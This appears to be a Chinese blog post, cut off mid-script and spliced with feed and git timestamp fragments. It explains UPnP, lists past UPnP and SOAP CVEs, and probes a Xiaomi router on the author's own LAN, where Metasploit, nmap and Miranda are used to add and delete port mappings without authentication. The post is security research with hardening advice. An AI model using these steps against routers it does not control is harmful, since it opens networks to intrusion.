<h2 id= "控制" > <a href= "#控制" class= "headerlink" title= "控制" > </a> 控制</h2> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830533/paper/1133.png" a l t > <br > UPnP网络的下一步是控制。当一个控制点获取到设备描述信息之后, 它就可以向该设备发送指令了。为了实现此, 控制点发送一个合适的控制消息至服务相关控制URL( 包含在设备描述中) 。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > < service> </span> <br > <span class= "line" > < serviceType> urn: schemas-upnp-org: service: WANPPPConnection: 1 < / serviceType> </span> <br > <span class= "line" > < serviceId> urn: upnp-org: serviceId: wanpppc: pppoa < / serviceId> </span> <br > <span class= "line" > < controlURL> / upnp / control / wanpppcpppoa < / controlURL> </span> <br > <span class= "line" > < eventSubURL> / upnp / event / wanpppcpppoa < / eventSubURL> </span> <br > <span class= "line" > < SCPDURL> /WANPPPConnection.xml < / SCPDURL> </span> <br > <span class= "line" > < / service> </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 要发送SOAP请求, 只需要controlURL标记内的URL。控制消息也是通过 <strong > <em > 简单对象访问协议( SOAP) </em> </strong> 用XML来描述的。类似函数调用, 服务通过返回动作相关的值来回应控制消息。动作的效果, 如果有的话, 会反应在用于刻画运行中服务的相关变量。</p>
<h2 id= "事件通知" > <a href= "#事件通知" class= "headerlink" title= "事件通知" > </a> 事件通知</h2> <p > 下一步是事件通知。UPnP中的事件 <strong > <em > 协议基于GENA</em> </strong> 。一个UPnP描述包括一组命令列表和刻画运行时状态信息的变量。服务在这些变量改变的时候进行更新, 控制点可以进行订阅以获取相关改变。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830573/paper/115.png" a l t > <br > 服务通过发送事件消息来发布更新。事件消息包括一个或多个状态信息变量以及它们的当前数值。这些消息也是采用XML的格式, 用通用事件通知体系进行格式化。一个特殊的初始化消息会在控制点第一次订阅的时候发送, 它包括服务相关的变量名及值。为了支持多个控制点并存的情形, 事件通知被设计成对于所有的控制点都平行通知。因此, 所有的订阅者同等地收到所有事件通知。<br > 当状态变量更改时,新状态将发送到已订阅该事件的所有程序/设备。程序/设备可以通过eventSubURL来订阅服务的状态变量, 该URL可以在LOCATION指向的URL中找到。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > < service> </span> <br > <span class= "line" > < serviceType> urn: schemas-upnp-org: service: WANPPPConnection: 1 < / serviceType> </span> <br > <span class= "line" > < serviceId> urn: upnp-org: serviceId: wanpppc: pppoa < / serviceId> </span> <br > <span class= "line" > < controlURL> / upnp / control / wanpppcpppoa < / controlURL> </span> <br > <span class= "line" > < eventSubURL> / upnp / event / wanpppcpppoa < </span> <br > <span class= "line" > < SCPDURL> /WANPPPConnection.xml < / SCPDURL> </span> <br > <span class= "line" > < / service> </span> <br > </pre> </td> </tr> </table> </figure> </p>
<h2 id= "展示" > <a href= "#展示" class= "headerlink" title= "展示" > </a> 展示</h2> <p > 最后一步是展示。如果设备带有存在URL, 那么控制点可以通过它来获取设备存在信息, 即在浏览器中加载URL, 并允许用户来进行相关控制或查看操作。具体支持哪些操作则是由存在页面和设备完成的。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830618/paper/1111.png" a l t > </p>
<h2 id= "NAT穿透" > <a href= "#NAT穿透" class= "headerlink" title= "NAT穿透" > </a> NAT穿透</h2> <p > UPnP为NAT( 网络地址转换) 穿透带来了一个解决方案: <strong > 互联网网关设备协议( IGD) </strong> 。NAT穿透允许UPnP数据包在没有用户交互的情况下, 无障碍的通过路由器或者防火墙( 假如那个路由器或者防火墙支持NAT) 。</p>
<h1 id= "SOAP和UPnP" > <a href= "#SOAP和UPnP" class= "headerlink" title= "SOAP和UPnP" > </a> SOAP和UPnP</h1> <table >
<thead >
<tr >
<th > 协议</th>
<th > 全称</th>
</tr>
</thead>
<tbody >
<tr >
<td > UPnP</td>
<td > Universal Plug and Play</td>
</tr>
<tr >
<td > SSDP</td>
<td > Simple Service Discovery Protocol</td>
</tr>
<tr >
<td > SCPD</td>
<td > Service Control Protocol Definition</td>
</tr>
<tr >
<td > SOAP</td>
<td > Simple Object Access Protocol</td>
</tr>
</tbody>
</table>
<h2 id= "UPnP-Discovery" > <a href= "#UPnP-Discovery" class= "headerlink" title= "UPnP - Discovery" > </a> UPnP - Discovery</h2> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555576753/paper/1.png" a l t > </p>
<h2 id= "UPnP-– -Description" > <a href= "#UPnP-– -Description" class= "headerlink" title= "UPnP – Description" > </a> UPnP – Description</h2> <ul >
<li > XML文件通常托管在高位的TCP端口</li>
<li > 版本信息<br > upnp.org spec<br > 通常为1.0</li>
<li > 设备定义<br > 型号名和编号、序列号、厂商名、品牌相关URL<br > 服务列表: 服务类型; SCPD URL; Control URL; Event URL<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555576810/paper/2.png" a l t > <h2 id= "UPnP-– -SCPD" > <a href= "#UPnP-– -SCPD" class= "headerlink" title= "UPnP – SCPD" > </a> UPnP – SCPD</h2> </li>
<li > 定义服务动作和参数的XML文件</li>
<li > 版本信息<br > 和描述一致</li>
<li > 动作列表<br > 动作名<br > 参数:参数名、方向(输入输出)、变量名</li>
<li > 变量列表<br > 变量名、数据类型<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555577220/paper/3.png" a l t > <h2 id= "UPnP-– -Control" > <a href= "#UPnP-– -Control" class= "headerlink" title= "UPnP – Control" > </a> UPnP – Control</h2> </li>
<li > 这里用到了SOAP</li>
<li > 主要是RPC服务或CGI脚本的前端</li>
<li > SOAP封装<br > • XML格式的API调用<br > • 描述XML中的服务类型<br > • 来自SCPD XML的动作名称和参数</li>
<li > POST封装到control URL<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555577719/paper/4.png" a l t > <h2 id= "TL-DR" > <a href= "#TL-DR" class= "headerlink" title= "TL;DR" > </a> TL;DR</h2> <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555577820/paper/5.png" a l t > <h2 id= "好的一面" > <a href= "#好的一面" class= "headerlink" title= "好的一面" > </a> 好的一面</h2> </li>
<li > Control AV equipment</li>
<li > Home automation</li>
<li > Network administration</li>
<li > Physical security systems (ok, easy there buddy)</li>
<li > Industrial monitoring and control (uh…what?)</li>
<li > And this is just the official specs<br > All our devices can talk to each other! Brave new worlds of remote control and automation! Have your toaster turn on the lights, set the TV to the news channel, and send you a text message when breakfast is ready! The future is now! Nothing could possibly go wrong!<h2 id= "关于安全" > <a href= "#关于安全" class= "headerlink" title= "关于安全" > </a> 关于安全</h2> </li>
</ul>
<ol >
<li > 嵌入式设备</li>
</ol>
<ul >
<li > 有限的内存和处理能力</li>
<li > 硬件和软件开发人员通常是完全不同的公司</li>
<li > 复制和粘贴开发</li>
<li > 保持低成本</li>
<li > 不完全关心/懂行</li>
</ul>
<ol start= "2" >
<li > 部署</li>
</ol>
<ul >
<li > 数以百万计的面向互联网的UPnP设备</li>
<li > 要计算的供应商太多</li>
<li > 前端是标准化的,后端甚至在同一供应商内也有所不同</li>
<li > 难以修补/更新固件</li>
<li > 仅仅因为你可以,并不意味着你应该</li>
</ul>
<ol start= "3" >
<li > XML解析很难</li>
</ol>
<ul >
<li > 需要大量系统资源</li>
<li > 自由格式的用户提供的数据</li>
<li > 2013年, 2.5% 的CVE与XML相关[2], 其中, 近36% 的患者CVSS严重程度为7或以上</li>
<li > 随着XML的用例增长, 版本也越来越多: 递归错误, XXE, 命令注入等……</li>
</ul>
<h1 id= "攻击面" > <a href= "#攻击面" class= "headerlink" title= "攻击面" > </a> 攻击面</h1> <ul >
<li > UPnP服务<br > • HTTP头解析<br > • SSDP解析<br > • OS命令注入<br > • 信息披露</li>
<li > SOAP服务<br > • HTTP头解析<br > • XML解析<br > • 注射用品<br > • OS命令<br > • SQL注入<br > • SOAP注入<br > • 信息披露<br > • 可疑级别的未经身份验证的设备控制<h2 id= "Attack-surface-– -UPnP" > <a href= "#Attack-surface-– -UPnP" class= "headerlink" title= "Attack surface – UPnP" > </a> Attack surface – UPnP</h2> </li>
<li > <p > <a href= "https://community.rapid7.com/docs/DOC-2150" target= "_blank" rel= "noopener" > CVE-2012-5958</a> <br > 去年由HD Moore( 众多之一) 披露; 调用strncpy将ST头中的字符串复制到TempBuf[COMMAND_LEN]; strncpy的长度参数基于冒号之间的字符数<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555580242/paper/6.png" a l t > </p>
</li>
<li > <p > D-Link DIR-815 <a href= "http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html" target= "_blank" rel= "noopener" > UPnP命令注入</a> <br > 去年由Zach Cutlip披露;ST头的内容作为参数传递给M-SEARCH.sh;无需验证<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555580904/paper/7.png" a l t > </p>
</li>
</ul>
<h2 id= "Attack-surface-– -SOAP" > <a href= "#Attack-surface-– -SOAP" class= "headerlink" title= "Attack surface – SOAP" > </a> Attack surface – SOAP</h2> <ul >
<li > <p > XBMC soap_action_name<a href= "http://www.exploit-db.com/exploits/15347/" target= "_blank" rel= "noopener" > 缓冲区溢出</a> <br > 由n00b于2010年10月公布;ProcessHttpPostRequest函数分配静态大小的缓冲区;调用sscanf将SOAPAction标头的值复制到其中, 没有边界检查<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555581152/paper/8.png" a l t > </p>
</li>
<li > <p > 博通SetConnectionType<a href= "http://sebug.net/paper/Exploits-Archives/2013-exploits/1301-exploits/DC-2013-01-003.txt" target= "_blank" rel= "noopener" > 格式字符串漏洞</a> <br > 去年Leon Juranic和Vedran Kajic透露; SetConnectionType操作将NewConnectionType参数的值提供给snprintf; 不对用户控制的值进行检查<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555581385/paper/9.png" a l t > </p>
</li>
<li > <p > <a href= "http://www.pnigos.com/?p=260" target= "_blank" rel= "noopener" > CVE-2014-3242</a> <br > 今年早些时候由pnig0s披露;SOAPpy允许在SOAP请求中声明用户定义的XML外部实体;不对用户控制的值进行检查<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555581672/paper/10.png" a l t > </p>
</li>
<li > <p > <a href= "http://seclists.org/fulldisclosure/2014/May/32" target= "_blank" rel= "noopener" > CVE-2014-2928</a> <br > Brandon Perry今年早些时候公布了( PBerry Crunch! ) ;F5 iControl API set_hostname操作将hostname参数的值传递给shell;再一次,不对用户控制的值进行消毒<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555581840/paper/11.png" a l t > </p>
</li>
<li > <p > <a href= "http://toor.do/DEFCON-19-Garcia-UPnP-Mapping-WP.pdf" target= "_blank" rel= "noopener" > CVE-2011-4499, CVE-2011-4500, CVE-2011-4501, CVE-2011-4503, CVE-2011-4504, CVE-2011-4505, CVE-2011-4506, 更多? </a> <br > Daniel Garcia在Defcon 19上披露; UPnP IGD 使用AddPortMapping和DeletePortMapping等操作来允许远程管理路由规则;缺乏身份验证, 可在WAN接口上使用; 使攻击者能够执行: •NAT遍历 •外部/内部主机端口映射 •内部LAN的外部网络扫描</p>
</li>
</ul>
<h2 id= "如何测试" > <a href= "#如何测试" class= "headerlink" title= "如何测试" > </a> 如何测试</h2> <ul >
<li > 了解您的网络<br > M-SEARCH你连接的每个网络以监听新的NOTIFY消息</li>
<li > 如果您不需要UPnP, 请将其禁用<br > 如果不在设备上,则在路由器上</li>
<li > 随时掌握固件更新<br > 并非总是自动的</li>
<li > 模糊测试<br > Burp – <a href= "http://portswigger.net/burp/" target= "_blank" rel= "noopener" > http://portswigger.net/burp/</a> <br > WSFuzzer – <a href= "https://www.owasp.org/index.php/Category:OWASP_WSFuzzer_Project" target= "_blank" rel= "noopener" > https://www.owasp.org/index.php/Category:OWASP_WSFuzzer_Project</a> <br > Miranda – <a href= "http://code.google.com/p/miranda-upnp/" target= "_blank" rel= "noopener" > http://code.google.com/p/miranda-upnp/</a> </li>
</ul>
<h1 id= "对小米WIFI路由器的UPnP分析" > <a href= "#对小米WIFI路由器的UPnP分析" class= "headerlink" title= "对小米WIFI路由器的UPnP分析" > </a> 对小米WIFI路由器的UPnP分析</h1> <h2 id= "使用工具扫描" > <a href= "#使用工具扫描" class= "headerlink" title= "使用工具扫描" > </a> 使用工具扫描</h2> <h3 id= "使用Metasploit检查" > <a href= "#使用Metasploit检查" class= "headerlink" title= "使用Metasploit检查" > </a> 使用Metasploit检查</h3> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > msfconsole</span> <br > <span class= "line" > msf5 > use auxiliary/scanner/upnp/ssdp_msearch</span> <br > <span class= "line" > msf5 auxiliary(scanner/upnp/ssdp_msearch) > set RHOSTS 192.168.31.0/24</span> <br > <span class= "line" > RHOSTS => 192.168.31.0/24</span> <br > <span class= "line" > msf5 auxiliary(scanner/upnp/ssdp_msearch) > run</span> <br > <span class= "line" > </span> <br > <span class= "line" > [*] Sending UPnP SSDP probes to 192.168.31.0-> 192.168.31.255 (256 hosts)</span> <br > <span class= "line" > [*] 192.168.31.1:1900 SSDP MiWiFi/x UPnP/1.1 MiniUPnPd/2.0 | http://192.168.31.1:5351/rootDesc.xml | uuid:f3539dd5-8dc5-420c-9070-c6f66d27fc8c::upnp:rootdevice</span> <br > <span class= "line" > [*] Scanned 256 of 256 hosts (100% complete)</span> <br > <span class= "line" > [*] Auxiliary module execution completed</span> <br > </pre> </td> </tr> </table> </figure>
<p > 从中可以得到这些信息:</p>
<ul >
<li > UPnP/1.1</li>
<li > MiniUPnPd/2.0</li>
</ul>
<h3 id= "使用nmap进行扫描" > <a href= "#使用nmap进行扫描" class= "headerlink" title= "使用nmap进行扫描" > </a> 使用nmap进行扫描</h3> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > nmap -p1900, 5351 192.168.31.1</span> <br > <span class= "line" > </span> <br > <span class= "line" > PORT STATE SERVICE</span> <br > <span class= "line" > 1900/tcp filtered upnp</span> <br > <span class= "line" > 5351/tcp open nat-pmp</span> <br > </pre> </td> </tr> </table> </figure>
<p > <strong > <em > nat-pmp</em> </strong> <br > NAT端口映射协议( 英语: NAT Port Mapping Protocol, 缩写NAT-PMP) 是一个能自动创建网络地址转换( NAT) 设置和端口映射配置而无需用户介入的网络协议。该协议能自动测定NAT网关的外部IPv4地址, 并为应用程序提供与对等端交流通信的方法。NAT-PMP于2005年由苹果公司推出, 为更常见的ISO标准互联网网关设备协议( 被许多NAT路由器实现) 的一个替代品。该协议由互联网工程任务组( IETF) 在RFC 6886中发布。<br > NAT-PMP使用用户数据报协议( UDP) , 在5351端口运行。该协议没有内置的身份验证机制, 因为转发一个端口通常不允许任何活动, 也不能用STUN方法实现。NAT-PMP相比STUN的好处是它不需要STUN服务器, 并且NAT-PMP映射有一个已知的过期时间, 应用可以避免低效地发送保活数据包。<br > NAT-PMP是端口控制协议( PCP) 的前身。<br > <a href= "https://laucyun.com/25118b151a3386b7beff250835fe7e98.html" target= "_blank" rel= "noopener" > https://laucyun.com/25118b151a3386b7beff250835fe7e98.html</a> <br > 2014年10月, Rapid7安全研究员Jon Hart公布, 因厂商对NAT-PMP协议设计不当, 估计公网上有1200万台网络设备受到NAT-PMP漏洞的影响。NAT-PMP协议的规范中特别指明, NAT网关不能接受来自外网的地址映射请求, 但一些厂商的设计并未遵守此规定。黑客可能对这些设备进行恶意的端口映射, 进行流量反弹、代理等攻击。</p>
<h3 id= "netstat扫描" > <a href= "#netstat扫描" class= "headerlink" title= "netstat扫描" > </a> netstat扫描</h3> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > Proto Recv-Q Send-Q Local Address Foreign Address State in out PID/Program name</span> <br > <span class= "line" > tcp 0 0 :::5351 :::* LISTEN 0 0 18068/miniupnpd</span> <br > <span class= "line" > udp 0 0 192.168.31.1:5351 0.0.0.0:* 0 0 18068/miniupnpd</span> <br > <span class= "line" > udp 0 0 0.0.0.0:1900 0.0.0.0:* 1414113 1827652 18068/miniupnpd</span> <br > </pre> </td> </tr> </table> </figure>
<p > 端口1900在UPnP发现的过程中使用, 5351通常为端口映射协议NAT-PMP运行的端口</p>
<h3 id= "miranda" > <a href= "#miranda" class= "headerlink" title= "miranda" > </a> <a href= "https://www.ethicalhacker.net/columns/heffner/plug-n-play-network-hacking/" target= "_blank" rel= "noopener" > miranda</a> </h3> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > sudo python2 miranda.py -i wlx44334c388fbd -v</span> <br > <span class= "line" > </span> <br > <span class= "line" > Miranda v1.3</span> <br > <span class= "line" > The interactive UPnP client</span> <br > <span class= "line" > Craig Heffner, http://www.devttys0.com</span> <br > <span class= "line" > </span> <br > <span class= "line" > </span> <br > <span class= "line" > Binding to interface wlx44334c388fbd ...</span> <br > <span class= "line" > </span> <br > <span class= "line" > Verbose mode enabled!</span> <br > <span class= "line" > upnp> msearch</span> <br > <span class= "line" > </span> <br > <span class= "line" > Entering discovery mode for ' upnp:rootdevice' , Ctl+C to stop...</span> <br > <span class= "line" > </span> <br > <span class= "line" > ****************************************************************</span> <br > <span class= "line" > SSDP reply message from 192.168.31.1:5351</span> <br > <span class= "line" > XML file is located at http://192.168.31.1:5351/rootDesc.xml</span> <br > <span class= "line" > Device is running MiWiFi/x UPnP/1.1 MiniUPnPd/2.0</span> <br > <span class= "line" > ****************************************************************</span> <br > <span class= "line" > </span> <br > <span class= "line" > upnp> host get 0</span> <br > <span class= "line" > </span> <br > <span class= "line" > Requesting device and service info for 192.168.31.1:5351 (this could take a few seconds)...</span> <br > <span class= "line" > </span> <br > <span class= "line" > Device urn:schemas-upnp-org:device:WANDevice:1 does not have a presentationURL</span> <br > <span class= "line" > Device urn:schemas-upnp-org:device:WANConnectionDevice:1 does not have a presentationURL</span> <br > <span class= "line" > Host data enumeration complete!</span> <br > <span class= "line" > </span> <br > <span class= "line" > upnp> host list</span> <br > <span class= "line" > </span> <br > <span class= "line" > [0] 192.168.31.1:5351</span> <br > <span class= "line" > </span> <br > <span class= "line" > upnp> host info 0</span> <br > <span class= "line" > </span> <br > <span class= "line" > xmlFile : http://192.168.31.1:5351/rootDesc.xml</span> <br > <span class= "line" > name : 192.168.31.1:5351</span> <br > <span class= "line" > proto : http://</span> <br > <span class= "line" > serverType : MiWiFi/x UPnP/1.1 MiniUPnPd/2.0</span> <br > <span class= "line" > upnpServer : MiWiFi/x UPnP/1.1 MiniUPnPd/2.0</span> <br > <span class= "line" > dataComplete : True</span> <br > <span class= "line" > deviceList : { } </span> <br > <span class= "line" > </span> <br > <span class= "line" > upnp> host info 0 deviceList</span> <br > <span class= "line" > </span> <br > <span class= "line" > InternetGatewayDevice : { } </span> <br > <span class= "line" > WANDevice : { } </span> <br > <span class= "line" > WANConnectionDevice : { } </span> <br > <span class= "line" > </span> <br > <span class= "line" > upnp> host info 0 deviceList WANConnectionDevice</span> <br > <span class= "line" > </span> <br > <span class= "line" > manufacturerURL : http://miniupnp.free.fr/</span> <br > <span class= "line" > modelName : MiniUPnPd</span> <br > <span class= "line" > UPC : 000000000000</span> <br > <span class= "line" > modelNumber : 20180830</span> <br > <span class= "line" > friendlyName : WANConnectionDevice</span> <br > <span class= "line" > fullName : urn:schemas-upnp-org:device:WANConnectionDevice:1</span> <br > <span class= "line" > modelDescription : MiniUPnP daemon</span> <br > <span class= "line" > UDN : uuid:f3539dd5-8dc5-420c-9070-c6f66d27fc8e</span> <br > <span class= "line" > modelURL : http://miniupnp.free.fr/</span> <br > <span class= "line" > manufacturer : MiniUPnP</span> <br > <span class= "line" > services : { } </span> <br > <span class= "line" > </span> <br > <span class= "line" > upnp> host info 0 deviceList WANConnectionDevice services WANIPConnection</span> <br > <span class= "line" > </span> <br > <span class= "line" > eventSubURL : /evt/IPConn</span> <br > <span class= "line" > controlURL : /ctl/IPConn</span> <br > <span class= "line"
<ul >
<li > 使用miranda发送UPnP命令<br > <strong > 获取外部IP地址</strong> </li>
</ul>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > upnp> host send 0 WANConnectionDevice WANIPConnection GetExternalIPAddress</span> <br > <span class= "line" > </span> <br > <span class= "line" > NewExternalIPAddress : 172.16.173.231</span> <br > </pre> </td> </tr> </table> </figure>
<p > <strong > 增加一个端口映射, 将路由器上端口为1900的服务映射到外网端口8080</strong> </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping</span> <br > <span class= "line" > </span> <br > <span class= "line" > Required argument:</span> <br > <span class= "line" > Argument Name: NewPortMappingDescription</span> <br > <span class= "line" > Data Type: string</span> <br > <span class= "line" > Allowed Values: []</span> <br > <span class= "line" > Set NewPortMappingDescription value to: HACK</span> <br > <span class= "line" > </span> <br > <span class= "line" > Required argument:</span> <br > <span class= "line" > Argument Name: NewLeaseDuration</span> <br > <span class= "line" > Data Type: ui4</span> <br > <span class= "line" > Allowed Values: []</span> <br > <span class= "line" > Value Min: 0</span> <br > <span class= "line" > Value Max: 604800</span> <br > <span class= "line" > Set NewLeaseDuration value to: 0</span> <br > <span class= "line" > </span> <br > <span class= "line" > Required argument:</span> <br > <span class= "line" > Argument Name: NewInternalClient</span> <br > <span class= "line" > Data Type: string</span> <br > <span class= "line" > Allowed Values: []</span> <br > <span class= "line" > Set NewInternalClient value to: 192.168.31.1</span> <br > <span class= "line" > </span> <br > <span class= "line" > Required argument:</span> <br > <span class= "line" > Argument Name: NewEnabled</span> <br > <span class= "line" > Data Type: boolean</span> <br > <span class= "line" > Allowed Values: []</span> <br > <span class= "line" > Set NewEnabled value to: 1</span> <br > <span class= "line" > </span> <br > <span class= "line" > Required argument:</span> <br > <span class= "line" > Argument Name: NewExternalPort</span> <br > <span class= "line" > Data Type: ui2</span> <br > <span class= "line" > Allowed Values: []</span> <br > <span class= "line" > Set NewExternalPort value to: 8080</span> <br > <span class= "line" > </span> <br > <span class= "line" > Required argument:</span> <br > <span class= "line" > Argument Name: NewRemoteHost</span> <br > <span class= "line" > Data Type: string</span> <br > <span class= "line" > Allowed Values: []</span> <br > <span class= "line" > Set NewRemoteHost value to:</span> <br > <span class= "line" > </span> <br > <span class= "line" > Required argument:</span> <br > <span class= "line" > Argument Name: NewProtocol</span> <br > <span class= "line" > Data Type: string</span> <br > <span class= "line" > Allowed Values: [' TCP' , ' UDP' ]</span> <br > <span class= "line" > Set NewProtocol value to: TCP</span> <br > <span class= "line" > </span> <br > <span class= "line" > Required argument:</span> <br > <span class= "line" > Argument Name: NewInternalPort</span> <br > <span class= "line" > Data Type: ui2</span> <br > <span class= "line" > Allowed Values: []</span> <br > <span class= "line" > Value Min: 1</span> <br > <span class= "line" > Value Max: 65535</span> <br > <span class= "line" > Set NewInternalPort value to: 1900</span> <br > </pre> </td> </tr> </table> </figure>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > upnp> host send 0 WANConnectionDevice WANIPConnection GetSpecificPortMappingEntry</span> <br > <span class= "line" > </span> <br > <span class= "line" > Required argument:</span> <br > <span class= "line" > Argument Name: NewExternalPort</span> <br > <span class= "line" > Data Type: ui2</span> <br > <span class= "line" > Allowed Values: []</span> <br > <span class= "line" > Set NewExternalPort value to: 8080</span> <br > <span class= "line" > </span> <br > <span class= "line" > Required argument:</span> <br > <span class= "line" > Argument Name: NewRemoteHost</span> <br > <span class= "line" > Data Type: string</span> <br > <span class= "line" > Allowed Values: []</span> <br > <span class= "line" > Set NewRemoteHost value to:</span> <br > <span class= "line" > </span> <br > <span class= "line" > Required argument:</span> <br > <span class= "line" > Argument Name: NewProtocol</span> <br > <span class= "line" > Data Type: string</span> <br > <span class= "line" > Allowed Values: [' TCP' , ' UDP' ]</span> <br > <span class= "line" > Set NewProtocol value to: TCP</span> <br > <span class= "line" > </span> <br > <span class= "line" > NewPortMappingDescription : HACK</span> <br > <span class= "line" > NewLeaseDuration : 0</span> <br > <span class= "line" > NewInternalClient : 192.168.31.1</span> <br > <span class= "line" > NewEnabled : 1</span> <br > <span class= "line" > NewInternalPort : 1900</span> <br > </pre> </td> </tr> </table> </figure>
<p > <strong > 可以无需验证地删除映射</strong> <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > upnp> host send 0 WANConnectionDevice WANIPConnection DeletePortMapping</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555918880/paper/2231.png" a l t > <br > 虽然UPnP是一种很少理解的协议, 但它在绝大多数家庭网络上都很活跃, 甚至在某些公司网络上也是如此。许多设备支持UPnP以便于消费者使用, 但是, 它们通常支持不允许任何服务自动执行的操作, 尤其是未经授权的情况下。更糟糕的是, 协议实现本身很少以安全思维构建, 使其可以进一步利用。<br > 防止本地/远程利用UPnP的最佳方法是在任何/所有网络设备上禁用该功能。然而,考虑到这个协议和其他“自动魔术”协议旨在帮助懒惰的用户,他们可能不知道这些协议的危险,唯一真正的解决方案是让供应商更加关注他们的设计和实施,并且更加安全。</p>
<h2 id= "浏览配置文件" > <a href= "#浏览配置文件" class= "headerlink" title= "浏览配置文件" > </a> 浏览配置文件</h2> <h3 id= "通过find命令搜索" > <a href= "#通过find命令搜索" class= "headerlink" title= "通过find命令搜索" > </a> 通过find命令搜索</h3> <pre > root@XiaoQiang:/# find -name *upnp*
./etc/rc.d/S95miniupnpd
./etc/init.d/miniupnpd
./etc/hotplug.d/iface/50-miniupnpd
./etc/config/upnpd
./tmp/upnp.leases
./tmp/etc/miniupnpd.conf
./tmp/run/miniupnpd.pid
./usr/lib/lua/luci/view/web/setting/upnp.htm
./usr/sbin/miniupnpd
./usr/share/miniupnpd
./www/xiaoqiang/web/css/upnp.css
./data/etc/rc.d/S95miniupnpd
./data/etc/init.d/miniupnpd
./data/etc/hotplug.d/iface/50-miniupnpd
./data/etc/config/upnpd</pre>
<ul >
<li > /etc/rc.d 启动的配置文件和脚本</li>
</ul>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > !/bin/sh /etc/rc.common</span> <br > <span class= "line" > # Copyright (C) 2006-2011 OpenWrt.org</span> <br > <span class= "line" > </span> <br > <span class= "line" > START=95</span> <br > <span class= "line" > SERVICE_USE_PID=1</span> <br > <span class= "line" > upnpd_get_port_range() { </span> <br > <span class= "line" > local _var=" $1" ; shift</span> <br > <span class= "line" > local _val</span> <br > <span class= "line" > config_get _val " $@" </span> <br > <span class= "line" > case " $_val" in</span> <br > <span class= "line" > [0-9]*[:-][0-9]*)</span> <br > <span class= "line" > export -n -- " ${ _var} _start=${ _val%%[:-]*} " </span> <br > <span class= "line" > export -n -- " ${ _var} _end=${ _val##*[:-]} " </span> <br > <span class= "line" > ;;</span> <br > <span class= "line" > [0-9]*)</span> <br > <span class= "line" > export -n -- " ${ _var} _start=$_val" </span> <br > <span class= "line" > export -n -- " ${ _var} _end=" </span> <br > <span class= "line" > ;;</span> <br > <span class= "line" > esac</span> <br > <span class= "line" > } </span> <br > <span class= "line" > conf_rule_add() { </span> <br > <span class= "line" > local cfg=" $1" </span> <br > <span class= "line" > local tmpconf=" $2" </span> <br > <span class= "line" > local action external_port_start external_port_end int_addr</span> <br > <span class= "line" > local internal_port_start internal_port_end</span> <br > <span class= "line" > </span> <br > <span class= "line" > config_get action " $cfg" action " deny" # allow or deny</span> <br > <span class= "line" > upnpd_get_port_range " ext" " $cfg" ext_ports " 0-65535" # external ports: x, x-y, x:y</span> <br > <span class= "line" > config_get int_addr " $cfg" int_addr " 0.0.0.0/0" # ip or network and subnet mask (internal)</span> <br > <span class= "line" > upnpd_get_port_range " int" " $cfg" int_ports " 0-65535" # internal ports: x, x-y, x:y or range</span> <br > <span class= "line" > </span> <br > <span class= "line" > # Make a single IP IP/32 so that miniupnpd.conf can use it.</span> <br > <span class= "line" > case " $int_addr" in</span> <br > <span class= "line" > */*) ;;</span> <br > <span class= "line" > *) int_addr=" $int_addr/32" ;;</span> <br > <span class= "line" > esac</span> <br > <span class= "line" > </span> <br > <span class= "line" > echo " ${ action} ${ ext_start} ${ ext_end:+-} ${ ext_end} ${ int_addr} ${ int_start} ${ int_end:+-} ${ int_end} " > > $tmpconf</span> <br > <span class= "line" > } </span> <br > <span class= "line" > upnpd_write_bool() { </span> <br > <span class= "line" > local opt=" $1" </span> <br > <span class= "line" > local def=" ${ 2:-0} " </span> <br > <span class= "line" > local alt=" $3" </span> <br > <span class= "line" > local val </span> <br > <span class= "line" > </span> <br > <span class= "line" > config_get_bool val config " $opt" " $def" </span> <br > <span class= "line" > if [ " $val" -eq 0 ]; then
<p > SmartController<br > messagingagent</p>
]]></content>
2021-04-10 13:53:56 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > IOT</category>
2021-04-10 13:53:56 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 小米</tag>
<tag > 路由器</tag>
<tag > MiniUPnP</tag>
</tags>
</entry>
<entry >
<title > Dolphin Attack 论文翻译</title>
<url > /2021/01/08/Dolphin-Attack/</url>
